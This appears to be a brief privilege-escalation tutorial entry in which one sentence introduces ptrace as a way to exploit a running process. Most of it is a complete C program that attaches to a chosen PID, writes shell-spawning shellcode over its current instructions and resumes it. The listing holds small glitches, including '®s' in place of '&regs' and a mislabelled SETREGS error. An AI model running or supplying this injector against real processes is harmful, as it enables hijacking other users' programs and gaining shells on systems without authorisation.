Ptrace is a system call which can be used to debug/modify another process. We need specific privileges to run ptrace though. we can use ptrace to exploit a running process.
Copy #include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <sys/user.h>
#include <sys/reg.h>
#define SHELLCODE_SIZE 32
// Spawn Shell
unsigned char *shellcode =
"\x48\x31\xc0\x48\x89\xc2\x48\x89"
"\xc6\x48\x8d\x3d\x04\x00\x00\x00"
"\x04\x3b\x0f\x05\x2f\x62\x69\x6e"
"\x2f\x73\x68\x00\xcc\x90\x90\x90";
int inject_data (pid_t pid, unsigned char *src, void *dst, int len) {
int i;
uint32_t *s = (uint32_t *) src;
uint32_t *d = (uint32_t *) dst;
for(i=0; i<len; i+=4, s++, d++) {
if ((ptrace (PTRACE_POKETEXT, pid, d, *s)) < 0) {
perror("ptrace(POKETEXT):");
return -1;
}
}
return 0;
}
int main (int argc, char *argv[]) {
pid_t target;
struct user_regs_struct regs;
int syscall;
long dst;
if (argc != 2) {
fprintf(stderr, "Usage:\n\t%s pid\n", argv[0]);
exit(1);
}
target = atoi(argv[1]);
printf("+ Tracing process %d\n", target);
if ((ptrace (PTRACE_ATTACH, target, NULL, NULL)) < 0) {
perror("ptrace(ATTACH):");
exit(1);
}
printf("+ Waiting for process...\n");
wait(NULL);
printf("+ Getting Registers\n");
if ((ptrace (PTRACE_GETREGS, target, NULL, ®s)) < 0) {
perror ("ptrace(GETREGS):");
exit(1);
}
printf("+ Injecting shellcode at %p\n", (void*)regs.rip);
inject_data (target, shellcode, (void*)regs.rip, SHELLCODE_SIZE);
regs.rip += 2;
printf("+ Setting instruction pointer to %p\n", (void*)regs.rip);
if ((ptrace (PTRACE_SETREGS, target, NULL, ®s)) < 0) {
perror("ptrace(GETREGS):");
exit(1);
}
printf("+ Run it!\n");
if ((ptrace (PTRACE_DETACH, target, NULL, NULL)) < 0) {
perror("ptrace(DETACH):");
exit(1);
}
return 0;
}